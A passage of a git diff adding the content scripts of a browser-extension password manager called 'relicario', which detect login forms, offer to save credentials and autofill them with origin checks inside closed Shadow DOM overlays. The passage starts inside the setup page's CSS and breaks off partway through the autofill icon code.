.strength-bar.s1 .seg.i1 { background: #f08d49; }
|
||||
.strength-bar.s2 .seg.i0,
|
||||
.strength-bar.s2 .seg.i1,
|
||||
.strength-bar.s2 .seg.i2 { background: #d29922; }
|
||||
.strength-bar.s3 .seg.i0,
|
||||
.strength-bar.s3 .seg.i1,
|
||||
.strength-bar.s3 .seg.i2,
|
||||
.strength-bar.s3 .seg.i3 { background: #3fb950; }
|
||||
.strength-bar.s4 .seg {
|
||||
background: #56d364;
|
||||
box-shadow: 0 0 4px rgba(86, 211, 100, 0.4);
|
||||
}
|
||||
|
||||
.strength-row {
|
||||
display: flex;
|
||||
justify-content: space-between;
|
||||
align-items: baseline;
|
||||
margin-top: 5px;
|
||||
}
|
||||
.strength-label {
|
||||
font-size: 11px;
|
||||
margin: 0;
|
||||
text-transform: lowercase;
|
||||
letter-spacing: 0.03em;
|
||||
transition: color 0.2s ease;
|
||||
}
|
||||
.strength-label.s-very-weak { color: #f85149; }
|
||||
.strength-label.s-weak { color: #f08d49; }
|
||||
.strength-label.s-fair { color: #d29922; }
|
||||
.strength-label.s-good { color: #3fb950; }
|
||||
.strength-label.s-strong { color: #56d364; font-weight: 600; }
|
||||
|
||||
.char-counter {
|
||||
font-size: 10px;
|
||||
color: #6e7681;
|
||||
margin: 0;
|
||||
font-variant-numeric: tabular-nums;
|
||||
}
|
||||
|
||||
.entropy-line {
|
||||
font-size: 10px;
|
||||
color: #8b949e;
|
||||
margin-top: 2px;
|
||||
font-family: "SF Mono", "JetBrains Mono", monospace;
|
||||
min-height: 1em;
|
||||
}
|
||||
|
||||
.pass-help {
|
||||
background: #0d1117;
|
||||
border: 1px solid #21262d;
|
||||
border-left: 2px solid #1f6feb;
|
||||
border-radius: 4px;
|
||||
padding: 8px 12px;
|
||||
font-size: 11px;
|
||||
color: #8b949e;
|
||||
line-height: 1.55;
|
||||
margin: 10px 0;
|
||||
}
|
||||
.pass-help strong { color: #c9d1d9; }
|
||||
|
||||
.passphrase-field {
|
||||
position: relative;
|
||||
}
|
||||
.passphrase-field input {
|
||||
padding-right: 76px; /* room for match indicator + eye button */
|
||||
}
|
||||
.eye-btn {
|
||||
position: absolute;
|
||||
right: 6px;
|
||||
top: 50%;
|
||||
transform: translateY(-50%);
|
||||
height: 24px;
|
||||
padding: 0 8px;
|
||||
background: transparent;
|
||||
border: 1px solid #30363d;
|
||||
border-radius: 3px;
|
||||
color: #8b949e;
|
||||
cursor: pointer;
|
||||
font-size: 10px;
|
||||
font-family: inherit;
|
||||
text-transform: lowercase;
|
||||
letter-spacing: 0.03em;
|
||||
}
|
||||
.eye-btn:hover { color: #c9d1d9; border-color: #484f58; }
|
||||
|
||||
.match-indicator {
|
||||
position: absolute;
|
||||
right: 50px;
|
||||
top: 50%;
|
||||
transform: translateY(-50%);
|
||||
font-size: 16px;
|
||||
line-height: 1;
|
||||
pointer-events: none;
|
||||
transition: color 0.15s ease, opacity 0.15s ease;
|
||||
}
|
||||
.match-indicator.ok { color: #3fb950; }
|
||||
.match-indicator.bad { color: #f85149; }
|
||||
|
||||
/* Primary button explicitly dims when disabled so the gate is obvious. */
|
||||
.btn-primary:disabled {
|
||||
opacity: 0.45;
|
||||
cursor: not-allowed;
|
||||
}
|
||||
|
||||
.success-box {
|
||||
background: #0d1b0e;
|
||||
border: 1px solid #238636;
|
||||
border-radius: 6px;
|
||||
padding: 20px;
|
||||
margin: 16px 0;
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
.success-box h3 {
|
||||
color: #3fb950;
|
||||
margin-bottom: 8px;
|
||||
}
|
||||
|
||||
.config-blob {
|
||||
background: #161b22;
|
||||
border: 1px solid #30363d;
|
||||
border-radius: 4px;
|
||||
padding: 12px;
|
||||
font-size: 11px;
|
||||
word-break: break-all;
|
||||
user-select: all;
|
||||
margin: 12px 0;
|
||||
max-height: 120px;
|
||||
overflow-y: auto;
|
||||
}
|
||||
|
||||
.test-result {
|
||||
display: inline-flex;
|
||||
align-items: center;
|
||||
gap: 6px;
|
||||
margin-top: 8px;
|
||||
font-size: 12px;
|
||||
}
|
||||
|
||||
.test-result.pass { color: #3fb950; }
|
||||
.test-result.fail { color: #f85149; }
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<div id="app"></div>
|
||||
<script src="setup.js"></script>
|
||||
</body>
|
||||
</html>
|
||||
299
extension/src/content/capture.ts
Normal file
299
extension/src/content/capture.ts
Normal file
@@ -0,0 +1,299 @@
|
||||
/// Credential capture module.
|
||||
///
|
||||
/// Detects login form submissions and prompts the user to save or update
|
||||
/// credentials in the vault. Supports bar and toast prompt styles.
|
||||
///
|
||||
/// The prompt renders inside a closed Shadow DOM so the host page cannot
|
||||
/// read overlay contents via document.querySelector or rewrite them via
|
||||
/// insertAdjacentHTML. All caller-supplied strings (hostname, username)
|
||||
/// are applied via textContent, never innerHTML.
|
||||
|
||||
import type { Request, Response } from '../shared/messages';
|
||||
import type { DeviceSettings } from '../shared/types';
|
||||
import { createShadowHost, type ShadowSurface } from './shadow';
|
||||
|
||||
// --- State ---
|
||||
|
||||
const hookedForms = new WeakSet<HTMLFormElement>();
|
||||
const hookedButtons = new WeakSet<HTMLElement>();
|
||||
let currentPrompt: ShadowSurface | null = null;
|
||||
|
||||
// --- Messaging ---
|
||||
|
||||
function sendMessage(request: Request): Promise<Response> {
|
||||
return new Promise((resolve) => {
|
||||
chrome.runtime.sendMessage(request, (response: Response) => {
|
||||
resolve(response);
|
||||
});
|
||||
});
|
||||
}
|
||||
|
||||
// --- Username detection (same priority as detector.ts) ---
|
||||
|
||||
function findUsernameValue(pwField: HTMLInputElement): string {
|
||||
const form = pwField.closest('form');
|
||||
const scope = form ?? document;
|
||||
const inputs = scope.querySelectorAll<HTMLInputElement>('input');
|
||||
|
||||
// 1. autocomplete="username"
|
||||
for (const input of inputs) {
|
||||
if (input === pwField) continue;
|
||||
if (input.autocomplete === 'username' && input.value) return input.value;
|
||||
}
|
||||
|
||||
// 2. autocomplete="email"
|
||||
for (const input of inputs) {
|
||||
if (input === pwField) continue;
|
||||
if (input.autocomplete === 'email' && input.value) return input.value;
|
||||
}
|
||||
|
||||
// 3. type="email"
|
||||
for (const input of inputs) {
|
||||
if (input === pwField) continue;
|
||||
if (input.type === 'email' && input.value) return input.value;
|
||||
}
|
||||
|
||||
// 4. name/id matching common patterns
|
||||
const pattern = /user|email|login|account/i;
|
||||
for (const input of inputs) {
|
||||
if (input === pwField) continue;
|
||||
if (input.type === 'hidden' || input.type === 'password') continue;
|
||||
if ((pattern.test(input.name) || pattern.test(input.id)) && input.value) return input.value;
|
||||
}
|
||||
|
||||
// 5. Nearest preceding visible text input
|
||||
const allInputs = Array.from(inputs);
|
||||
const pwIndex = allInputs.indexOf(pwField);
|
||||
for (let i = pwIndex - 1; i >= 0; i--) {
|
||||
const input = allInputs[i];
|
||||
if (input.type === 'hidden' || input.type === 'password' || input.type === 'submit') continue;
|
||||
if (input.offsetWidth > 0 && input.offsetHeight > 0 && input.value) return input.value;
|
||||
}
|
||||
|
||||
return '';
|
||||
}
|
||||
|
||||
// --- Form submission handler ---
|
||||
|
||||
async function onFormSubmit(pwField: HTMLInputElement): Promise<void> {
|
||||
const password = pwField.value;
|
||||
if (!password) return;
|
||||
|
||||
const username = findUsernameValue(pwField);
|
||||
|
||||
// Note: `url` is NOT sent — router derives origin from sender.tab.url.
|
||||
const resp = await sendMessage({
|
||||
type: 'check_credential',
|
||||
username,
|
||||
password,
|
||||
});
|
||||
|
||||
if (!resp.ok) return;
|
||||
|
||||
const data = resp.data as { action: string; entryId?: string; entryName?: string };
|
||||
if (data.action === 'skip') return;
|
||||
|
||||
// Fetch settings for prompt style. Content scripts have direct
|
||||
// chrome.storage.local access (manifest grants "storage"), so we don't
|
||||
// need to round-trip through the SW for this — which also avoids the
|
||||
// router's content→popup-only rejection for 'get_settings'.
|
||||
const stored = await chrome.storage.local.get('relicarioSettings');
|
||||
const settings: DeviceSettings = (stored.relicarioSettings as DeviceSettings)
|
||||
?? { captureEnabled: true, captureStyle: 'bar' };
|
||||
|
||||
showPrompt(settings.captureStyle, data.action, username, password);
|
||||
}
|
||||
|
||||
// --- Prompt UI ---
|
||||
|
||||
function removeExistingPrompt(): void {
|
||||
if (currentPrompt) {
|
||||
currentPrompt.destroy();
|
||||
currentPrompt = null;
|
||||
}
|
||||
}
|
||||
|
||||
function showPrompt(
|
||||
style: 'bar' | 'toast',
|
||||
action: string,
|
||||
username: string,
|
||||
password: string,
|
||||
): void {
|
||||
removeExistingPrompt();
|
||||
|
||||
const hostname = (() => {
|
||||
try { return new URL(window.location.href).hostname; } catch { return window.location.href; }
|
||||
})();
|
||||
|
||||
const surface = createShadowHost();
|
||||
currentPrompt = surface;
|
||||
const { host, root } = surface;
|
||||
|
||||
// Position the host on the page; all further styling lives inside the
|
||||
// shadow root so the page's CSS can't reach us.
|
||||
const baseHostStyles = 'z-index: 2147483647; position: fixed;';
|
||||
if (style === 'bar') {
|
||||
host.style.cssText = `${baseHostStyles} top:0; left:0; right:0;`;
|
||||
} else {
|
||||
host.style.cssText = `${baseHostStyles} bottom:16px; right:16px;`;
|
||||
}
|
||||
|
||||
// --- Build prompt DOM via createElement / textContent only ---
|
||||
|
||||
const container = document.createElement('div');
|
||||
const containerBase = [
|
||||
'font-family: "SF Mono", "Fira Code", "Cascadia Code", monospace',
|
||||
'font-size: 13px',
|
||||
'color: #c9d1d9',
|
||||
'background: #161b22',
|
||||
'box-sizing: border-box',
|
||||
'line-height: 1.4',
|
||||
];
|
||||
if (style === 'bar') {
|
||||
container.style.cssText = [
|
||||
...containerBase,
|
||||
'padding: 10px 16px',
|
||||
'display: flex',
|
||||
'align-items: center',
|
||||
'gap: 12px',
|
||||
'border-bottom: 1px solid #30363d',
|
||||
'box-shadow: 0 2px 8px rgba(0,0,0,0.4)',
|
||||
'transform: translateY(-100%)',
|
||||
'transition: transform 0.3s ease',
|
||||
].join('; ');
|
||||
} else {
|
||||
container.style.cssText = [
|
||||
...containerBase,
|
||||
'padding: 12px 16px',
|
||||
'border-radius: 4px',
|
||||
'border: 1px solid #30363d',
|
||||
'box-shadow: 0 4px 12px rgba(0,0,0,0.4)',
|
||||
'max-width: 360px',
|
||||
'opacity: 0',
|
||||
'transition: opacity 0.3s ease',
|
||||
].join('; ');
|
||||
}
|
||||
|
||||
const actionLabel = action === 'update' ? 'Update' : 'Save';
|
||||
|
||||
// Message span: "<actionLabel> login for <hostname>(<username>)?"
|
||||
const msgSpan = document.createElement('span');
|
||||
msgSpan.style.cssText = 'flex:1; overflow:hidden; text-overflow:ellipsis; white-space:nowrap;';
|
||||
msgSpan.appendChild(document.createTextNode(`${actionLabel} login for `));
|
||||
const hostStrong = document.createElement('strong');
|
||||
hostStrong.style.color = '#58a6ff';
|
||||
hostStrong.textContent = hostname;
|
||||
msgSpan.appendChild(hostStrong);
|
||||
if (username) {
|
||||
msgSpan.appendChild(document.createTextNode(` (${username})`));
|
||||
}
|
||||
msgSpan.appendChild(document.createTextNode('?'));
|
||||
|
||||
const saveBtn = document.createElement('button');
|
||||
saveBtn.textContent = actionLabel;
|
||||
saveBtn.style.cssText = [
|
||||
'background:#1f6feb', 'color:#fff', 'border:none', 'padding:5px 14px',
|
||||
'border-radius:3px', 'cursor:pointer', 'font-family:inherit', 'font-size:12px',
|
||||
'white-space:nowrap',
|
||||
].join('; ');
|
||||
|
||||
const neverBtn = document.createElement('button');
|
||||
neverBtn.textContent = 'Never';
|
||||
neverBtn.style.cssText = [
|
||||
'background:transparent', 'color:#8b949e', 'border:1px solid #30363d',
|
||||
'padding:5px 10px', 'border-radius:3px', 'cursor:pointer',
|
||||
'font-family:inherit', 'font-size:12px', 'white-space:nowrap',
|
||||
].join('; ');
|
||||
|
||||
const closeBtn = document.createElement('button');
|
||||
closeBtn.textContent = '✕';
|
||||
closeBtn.style.cssText = [
|
||||
'background:transparent', 'color:#8b949e', 'border:none',
|
||||
'cursor:pointer', 'font-size:16px', 'padding:2px 6px',
|
||||
'font-family:inherit', 'line-height:1',
|
||||
].join('; ');
|
||||
|
||||
container.append(msgSpan, saveBtn, neverBtn, closeBtn);
|
||||
root.appendChild(container);
|
||||
|
||||
// Animate in
|
||||
requestAnimationFrame(() => {
|
||||
if (style === 'bar') {
|
||||
container.style.transform = 'translateY(0)';
|
||||
} else {
|
||||
container.style.opacity = '1';
|
||||
}
|
||||
});
|
||||
|
||||
// Auto-dismiss for toast
|
||||
let autoDismissTimer: ReturnType<typeof setTimeout> | null = null;
|
||||
if (style === 'toast') {
|
||||
autoDismissTimer = setTimeout(() => removeExistingPrompt(), 15000);
|
||||
}
|
||||
|
||||
const clearAutoDismiss = (): void => {
|
||||
if (autoDismissTimer) clearTimeout(autoDismissTimer);
|
||||
};
|
||||
|
||||
// Save button — single content-callable message; the SW figures out
|
||||
// whether this is an add or an update (and enforces origin-binding).
|
||||
saveBtn.addEventListener('click', async () => {
|
||||
clearAutoDismiss();
|
||||
const resp = await sendMessage({ type: 'capture_save_login', username, password });
|
||||
if (!resp.ok) {
|
||||
msgSpan.textContent = `✗ ${resp.error}`;
|
||||
return;
|
||||
}
|
||||
msgSpan.textContent = '✓ Saved';
|
||||
saveBtn.style.display = 'none';
|
||||
neverBtn.style.display = 'none';
|
||||
setTimeout(() => removeExistingPrompt(), 1500);
|
||||
});
|
||||
|
||||
// Never button: router derives hostname from sender.tab.url (no `hostname` field)
|
||||
neverBtn.addEventListener('click', async () => {
|
||||
clearAutoDismiss();
|
||||
await sendMessage({ type: 'blacklist_site' });
|
||||
removeExistingPrompt();
|
||||
});
|
||||
|
||||
// Close button
|
||||
closeBtn.addEventListener('click', () => {
|
||||
clearAutoDismiss();
|
||||
removeExistingPrompt();
|
||||
});
|
||||
}
|
||||
|
||||
// --- Form hooking ---
|
||||
|
||||
export function hookForms(): void {
|
||||
const passwordFields = document.querySelectorAll<HTMLInputElement>('input[type="password"]');
|
||||
|
||||
for (const pwField of passwordFields) {
|
||||
if (pwField.offsetWidth < 20 || pwField.offsetHeight < 10) continue;
|
||||
|
||||
const form = pwField.closest('form');
|
||||
|
||||
if (form && !hookedForms.has(form)) {
|
||||
hookedForms.add(form);
|
||||
form.addEventListener('submit', () => {
|
||||
onFormSubmit(pwField);
|
||||
});
|
||||
}
|
||||
|
||||
// Hook submit buttons (for forms that submit via JS click handlers)
|
||||
const scope = form ?? pwField.parentElement;
|
||||
if (!scope) continue;
|
||||
|
||||
const buttons = scope.querySelectorAll<HTMLElement>(
|
||||
'button[type="submit"], input[type="submit"], button:not([type])',
|
||||
);
|
||||
for (const btn of buttons) {
|
||||
if (hookedButtons.has(btn)) continue;
|
||||
hookedButtons.add(btn);
|
||||
btn.addEventListener('click', () => {
|
||||
onFormSubmit(pwField);
|
||||
});
|
||||
}
|
||||
}
|
||||
}
|
||||
103
extension/src/content/detector.ts
Normal file
103
extension/src/content/detector.ts
Normal file
@@ -0,0 +1,103 @@
|
||||
/// Content script entry point.
|
||||
///
|
||||
/// Detects login forms on the page by finding password fields and their
|
||||
/// associated username inputs. Injects small icons into detected fields
|
||||
/// and sets up a fill listener to receive credentials from the service worker.
|
||||
|
||||
import { setupFillListener } from './fill';
|
||||
import { injectFieldIcons } from './icon';
|
||||
import { hookForms } from './capture';
|
||||
|
||||
/// Find password fields on the page and detect their associated username inputs.
|
||||
function detectLoginForms(): Array<{ password: HTMLInputElement; username: HTMLInputElement | null }> {
|
||||
const passwordFields = document.querySelectorAll<HTMLInputElement>('input[type="password"]');
|
||||
const forms: Array<{ password: HTMLInputElement; username: HTMLInputElement | null }> = [];
|
||||
|
||||
for (const pwField of passwordFields) {
|
||||
// Skip hidden or very small fields (likely honeypots).
|
||||
if (pwField.offsetWidth < 20 || pwField.offsetHeight < 10) continue;
|
||||
|
||||
const username = findUsernameField(pwField);
|
||||
forms.push({ password: pwField, username });
|
||||
}
|
||||
|
||||
return forms;
|
||||
}
|
||||
|
||||
/// Find the most likely username field associated with a password field.
|
||||
///
|
||||
/// Priority:
|
||||
/// 1. autocomplete="username" in the same form
|
||||
/// 2. autocomplete="email" in the same form
|
||||
/// 3. type="email" in the same form
|
||||
/// 4. name/id matching /user|email|login|account/i in the same form
|
||||
/// 5. Nearest preceding visible text input (sibling or DOM-adjacent)
|
||||
function findUsernameField(pwField: HTMLInputElement): HTMLInputElement | null {
|
||||
const form = pwField.closest('form');
|
||||
const scope = form ?? document;
|
||||
const inputs = scope.querySelectorAll<HTMLInputElement>('input');
|
||||
|
||||
// 1. autocomplete="username"
|
||||
for (const input of inputs) {
|
||||
if (input === pwField) continue;
|
||||
if (input.autocomplete === 'username') return input;
|
||||
}
|
||||
|
||||
// 2. autocomplete="email"
|
||||
for (const input of inputs) {
|
||||
if (input === pwField) continue;
|
||||
if (input.autocomplete === 'email') return input;
|
||||
}
|
||||
|
||||
// 3. type="email"
|
||||
for (const input of inputs) {
|
||||
if (input === pwField) continue;
|
||||
if (input.type === 'email') return input;
|
||||
}
|
||||
|
||||
// 4. name/id matching common patterns
|
||||
const pattern = /user|email|login|account/i;
|
||||
for (const input of inputs) {
|
||||
if (input === pwField) continue;
|
||||
if (input.type === 'hidden' || input.type === 'password') continue;
|
||||
if (pattern.test(input.name) || pattern.test(input.id)) return input;
|
||||
}
|
||||
|
||||
// 5. Nearest preceding visible text input
|
||||
const allInputs = Array.from(inputs);
|
||||
const pwIndex = allInputs.indexOf(pwField);
|
||||
for (let i = pwIndex - 1; i >= 0; i--) {
|
||||
const input = allInputs[i];
|
||||
if (input.type === 'hidden' || input.type === 'password' || input.type === 'submit') continue;
|
||||
if (input.offsetWidth > 0 && input.offsetHeight > 0) return input;
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
/// Scan the page for login forms and inject icons.
|
||||
function scan(): void {
|
||||
const forms = detectLoginForms();
|
||||
for (const { password, username } of forms) {
|
||||
injectFieldIcons(password, username);
|
||||
}
|
||||
hookForms();
|
||||
}
|
||||
|
||||
// --- Initialization ---
|
||||
|
||||
// Set up the fill listener (receives credentials from service worker).
|
||||
setupFillListener();
|
||||
|
||||
// Initial scan.
|
||||
scan();
|
||||
|
||||
// Watch for DOM changes (SPA navigation, dynamically loaded forms).
|
||||
const observer = new MutationObserver(() => {
|
||||
scan();
|
||||
});
|
||||
|
||||
observer.observe(document.body, {
|
||||
childList: true,
|
||||
subtree: true,
|
||||
});
|
||||
116
extension/src/content/fill.ts
Normal file
116
extension/src/content/fill.ts
Normal file
@@ -0,0 +1,116 @@
|
||||
/// Fill listener — receives credentials from the service worker popup flow,
|
||||
/// verifies origin, and fills page fields.
|
||||
///
|
||||
/// TOCTOU mitigation: the popup captures its active tab at open time and
|
||||
/// passes {capturedTabId, capturedUrl, expectedHost} to the SW. The SW
|
||||
/// re-fetches the tab and checks the hostname against `capturedUrl` before
|
||||
/// forwarding, but between the SW's chrome.tabs.sendMessage and our receipt
|
||||
/// the page could navigate. We re-check `location.href.hostname ===
|
||||
/// expectedHost` before typing credentials. If the page has navigated
|
||||
/// (different origin now running the content script), reply with
|
||||
/// `origin_changed` and do nothing.
|
||||
|
||||
/// Message shape forwarded by router/popup-only.ts#handleFillCredentials.
|
||||
export interface FillMessage {
|
||||
type: 'fill_credentials';
|
||||
username: string;
|
||||
password: string;
|
||||
/// The hostname the SW validated the captured tab was on. The content
|
||||
/// script rejects delivery if the page has since navigated away.
|
||||
expectedHost: string;
|
||||
}
|
||||
|
||||
/// Set up a listener for fill_credentials messages from the service worker.
|
||||
export function setupFillListener(): void {
|
||||
chrome.runtime.onMessage.addListener(
|
||||
(
|
||||
message: FillMessage,
|
||||
_sender: chrome.runtime.MessageSender,
|
||||
sendResponse: (response: { ok: boolean; error?: string }) => void,
|
||||
) => {
|
||||
if (message.type !== 'fill_credentials') return false;
|
||||
const currentHost = (() => {
|
||||
try { return new URL(location.href).hostname; } catch { return ''; }
|
||||
})();
|
||||
if (!currentHost || currentHost !== message.expectedHost) {
|
||||
sendResponse({ ok: false, error: 'origin_changed' });
|
||||
return false;
|
||||
}
|
||||
fillFields(message.username, message.password);
|
||||
sendResponse({ ok: true });
|
||||
return false;
|
||||
},
|
||||
);
|
||||
}
|
||||
|
||||
/// Fill username and password fields on the page.
|
||||
///
|
||||
/// Finds the first visible password field and its associated username field,
|
||||
/// then sets their values using the native setter trick for React/Vue compat.
|
||||
export function fillFields(username: string, password: string): void {
|
||||
const pwField = document.querySelector<HTMLInputElement>('input[type="password"]');
|
||||
if (!pwField) return;
|
||||
|
||||
// Set the password.
|
||||
setNativeValue(pwField, password);
|
||||
|
||||
// Find the username field (same logic as detector).
|
||||
if (username) {
|
||||
const usernameField = findUsernameForFill(pwField);
|
||||
if (usernameField) {
|
||||
setNativeValue(usernameField, username);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Use the native HTMLInputElement.value setter to bypass React/Vue wrappers.
|
||||
/// Then dispatch input and change events so the framework picks up the change.
|
||||
function setNativeValue(input: HTMLInputElement, value: string): void {
|
||||
const nativeSetter = Object.getOwnPropertyDescriptor(
|
||||
HTMLInputElement.prototype,
|
||||
'value',
|
||||
)?.set;
|
||||
|
||||
if (nativeSetter) {
|
||||
nativeSetter.call(input, value);
|
||||
} else {
|
||||
input.value = value;
|
||||
}
|
||||
|
||||
input.dispatchEvent(new Event('input', { bubbles: true }));
|
||||
input.dispatchEvent(new Event('change', { bubbles: true }));
|
||||
}
|
||||
|
||||
/// Find the username field associated with a password field (simplified version for fill).
|
||||
function findUsernameForFill(pwField: HTMLInputElement): HTMLInputElement | null {
|
||||
const form = pwField.closest('form');
|
||||
const scope = form ?? document;
|
||||
const inputs = scope.querySelectorAll<HTMLInputElement>('input');
|
||||
|
||||
// Priority: autocomplete > type=email > name pattern > preceding text input.
|
||||
for (const input of inputs) {
|
||||
if (input === pwField) continue;
|
||||
if (input.autocomplete === 'username' || input.autocomplete === 'email') return input;
|
||||
}
|
||||
|
||||
for (const input of inputs) {
|
||||
if (input === pwField) continue;
|
||||
if (input.type === 'email') return input;
|
||||
}
|
||||
|
||||
const pattern = /user|email|login|account/i;
|
||||
for (const input of inputs) {
|
||||
if (input === pwField || input.type === 'hidden' || input.type === 'password') continue;
|
||||
if (pattern.test(input.name) || pattern.test(input.id)) return input;
|
||||
}
|
||||
|
||||
const allInputs = Array.from(inputs);
|
||||
const pwIndex = allInputs.indexOf(pwField);
|
||||
for (let i = pwIndex - 1; i >= 0; i--) {
|
||||
const input = allInputs[i];
|
||||
if (input.type === 'hidden' || input.type === 'password' || input.type === 'submit') continue;
|
||||
if (input.offsetWidth > 0 && input.offsetHeight > 0) return input;
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
231
extension/src/content/icon.ts
Normal file
231
extension/src/content/icon.ts
Normal file
@@ -0,0 +1,231 @@
|
||||
/// Inject a small "id" icon into password fields for quick autofill access.
|
||||
///
|
||||
/// Each injected icon and picker renders inside a closed Shadow DOM so
|
||||
/// the host page cannot read or manipulate our UI.
|
||||
///
|
||||
/// Flow:
|
||||
/// 1. Icon click → chrome.runtime.sendMessage({ type: 'get_autofill_candidates' })
|
||||
/// (router derives origin from sender.tab.url; no url on message).
|
||||
/// 2. Single candidate → get_credentials; if response is a
|
||||
/// requires_ack variant, show an in-page TOFU hint instructing the
|
||||
/// user to open the popup for ack. Otherwise, call fillFields()
|
||||
/// directly — the content script IS the page origin, so no SW
|
||||
/// round-trip for the fill itself.
|
||||
/// 3. Multiple candidates → show the picker inside a shadow root.
|
||||
///
|
||||
/// Note: fill_credentials is popup-only in the router. The icon click path
|
||||
/// cannot and MUST NOT issue fill_credentials from content.
|
||||
|
||||
import type { AutofillCandidatesResponse, CredentialsResponse, Response } from '../shared/messages';
|
||||
import type { ManifestEntry, ItemId } from '../shared/types';
|
||||
import { createShadowHost, type ShadowSurface } from './shadow';
|
||||
import { fillFields } from './fill';
|
||||
|
||||
/// Track which fields already have an injected icon.
|
||||
const injected = new WeakSet<HTMLInputElement>();
|
||||
|
||||
/// The currently-open picker / TOFU hint, if any.
|
||||
let currentOverlay: ShadowSurface | null = null;
|
||||
|
||||
function closeOverlay(): void {
|
||||
if (currentOverlay) {
|
||||
currentOverlay.destroy();
|
||||
currentOverlay = null;
|
||||
}
|
||||
}
|
||||
|
||||
/// Inject a small blue "id" icon at the right edge of a password field.
|
||||
export function injectFieldIcons(
|
||||
passwordField: HTMLInputElement,
|
||||
_usernameField: HTMLInputElement | null,
|
||||
): void {
|
||||
if (injected.has(passwordField)) return;
|
||||
injected.add(passwordField);
|
||||
|
||||
// Each icon gets its own shadow host so page CSS cannot reach it.
|
||||
const surface = createShadowHost();
|
||||
const { host, root } = surface;
|
||||
|
||||
// Compute initial position from the password field's bounding rect and
|
||||
// reposition on scroll/resize. We keep things lightweight — exact
|
||||
// pixel-perfect tracking during layout churn is not required.
|
||||
function positionHost(): void {
|
||||
const rect = passwordField.getBoundingClientRect();
|
||||
host.style.cssText = [
|
||||
'position: fixed',
|
||||
`top: ${rect.top + rect.height / 2 - 10}px`,
|
||||
`left: ${rect.right - 28}px`,
|
||||
'z-index: 2147483646',
|
||||
'pointer-events: auto',
|
||||
].join('; ');
|
||||
}
|
||||
positionHost();
|
||||
window.addEventListener('scroll', positionHost, true);
|
||||
window.addEventListener('resize', positionHost);
|
||||
|
||||
const icon = document.createElement('div');
|
||||
icon.textContent = 'id';
|
||||
icon.setAttribute('role', 'button');
|
||||
icon.setAttribute('aria-label', 'relicario autofill');
|
||||
icon.style.cssText = [
|
||||
'width: 20px', 'height: 20px', 'line-height: 20px',
|
||||
'text-align: center', 'font-size: 10px', 'font-weight: 700',
|
||||
'font-family: monospace', 'color: #fff', 'background: #1f6feb',
|
||||
'border-radius: 3px', 'cursor: pointer', 'user-select: none',
|
||||
'box-sizing: border-box',
|
||||
].join('; ');
|
||||
root.appendChild(icon);
|
||||
|
||||
icon.addEventListener('click', async (e) => {
|
||||
e.preventDefault();
|
||||
e.stopPropagation();
|
||||
|
||||
// Note: no `url` on message — router derives from sender.tab.url.
|
||||
const resp = await chrome.runtime.sendMessage({
|
||||
type: 'get_autofill_candidates',
|
||||
}) as Response;
|
||||
|
||||
if (!resp || !resp.ok) return;
|
||||
const candidates = (resp as AutofillCandidatesResponse).data.candidates;
|
||||
if (candidates.length === 0) return;
|
||||
|
||||
if (candidates.length === 1) {
|
||||
await handleSingleCandidate(candidates[0][0]);
|
||||
} else {
|
||||
showPicker(passwordField, candidates);
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
/// Fetch credentials for a single item and either fill immediately or
|
||||
/// display the TOFU ack hint.
|
||||
async function handleSingleCandidate(id: ItemId): Promise<void> {
|
||||
const credResp = await chrome.runtime.sendMessage({
|
||||
type: 'get_credentials',
|
||||
id,
|
||||
}) as Response;
|
||||
if (!credResp?.ok) return;
|
||||
|
||||
const data = (credResp as CredentialsResponse).data;
|
||||
if ('requires_ack' in data && data.requires_ack) {
|
||||
showAckHint(data.hostname);
|
||||
return;
|
||||
}
|
||||
// Discriminated union: must be the {username, password} variant here.
|
||||
if ('username' in data && 'password' in data) {
|
||||
fillFields(data.username, data.password);
|
||||
}
|
||||
}
|
||||
|
||||
/// Render a dropdown picker below the password field for selecting among
|
||||
/// multiple candidates. The picker lives in its own closed Shadow DOM.
|
||||
function showPicker(
|
||||
anchor: HTMLInputElement,
|
||||
candidates: Array<[ItemId, ManifestEntry]>,
|
||||
): void {
|
||||
closeOverlay();
|
||||
const surface = createShadowHost();
|
||||
currentOverlay = surface;
|
||||
const { host, root } = surface;
|
||||
|
||||
const rect = anchor.getBoundingClientRect();
|
||||
host.style.cssText = [
|
||||
'position: fixed',
|
||||
`top: ${rect.bottom + 4}px`,
|
||||
`left: ${rect.right - 180}px`,
|
||||
'z-index: 2147483647',
|
||||
].join('; ');
|
||||
|
||||
const picker = document.createElement('div');
|
||||
picker.style.cssText = [
|
||||
'background: #161b22', 'border: 1px solid #30363d',
|
||||
'border-radius: 6px', 'box-shadow: 0 4px 12px rgba(0,0,0,0.4)',
|
||||
'min-width: 180px', 'max-height: 200px', 'overflow-y: auto',
|
||||
"font-family: 'JetBrains Mono', monospace", 'font-size: 12px',
|
||||
].join('; ');
|
||||
|
||||
for (const [id, entry] of candidates) {
|
||||
const row = document.createElement('div');
|
||||
const label = entry.title + (/* user hint */ '');
|
||||
row.textContent = label;
|
||||
row.style.cssText = [
|
||||
'padding: 8px 12px', 'cursor: pointer', 'color: #c9d1d9',
|
||||
'border-bottom: 1px solid #21262d',
|
||||
].join('; ');
|
||||
row.addEventListener('mouseenter', () => { row.style.background = '#21262d'; });
|
||||
row.addEventListener('mouseleave', () => { row.style.background = 'transparent'; });
|
||||
row.addEventListener('click', async (e) => {
|
||||
e.stopPropagation();
|
||||
closeOverlay();
|
||||
await handleSingleCandidate(id);
|
||||
});
|
||||
picker.appendChild(row);
|
||||
}
|
||||
|
||||
root.appendChild(picker);
|
||||
|
||||
// Close picker on outside click (scoped to document; shadow root blocks
|
||||
// composedPath for closed mode but the host element still shows up).
|
||||
const closeHandler = (e: MouseEvent): void => {
|
||||
if (e.target !== host) {
|
||||
closeOverlay();
|
||||
document.removeEventListener('click', closeHandler);
|
||||
}
|
||||
};
|
||||
setTimeout(() => document.addEventListener('click', closeHandler), 0);
|
||||
}
|
||||
|
||||
/// TOFU origin-ack hint: credentials exist for this host but the user has
|
||||
/// never explicitly acknowledged autofill here. Instruct them to open
|
||||
/// relicario to confirm — we do not (and cannot) fill until ack-autofill
|
||||
/// has been called from the popup.
|
||||
function showAckHint(hostname: string): void {
|
||||
closeOverlay();
|
||||
const surface = createShadowHost();
|
||||
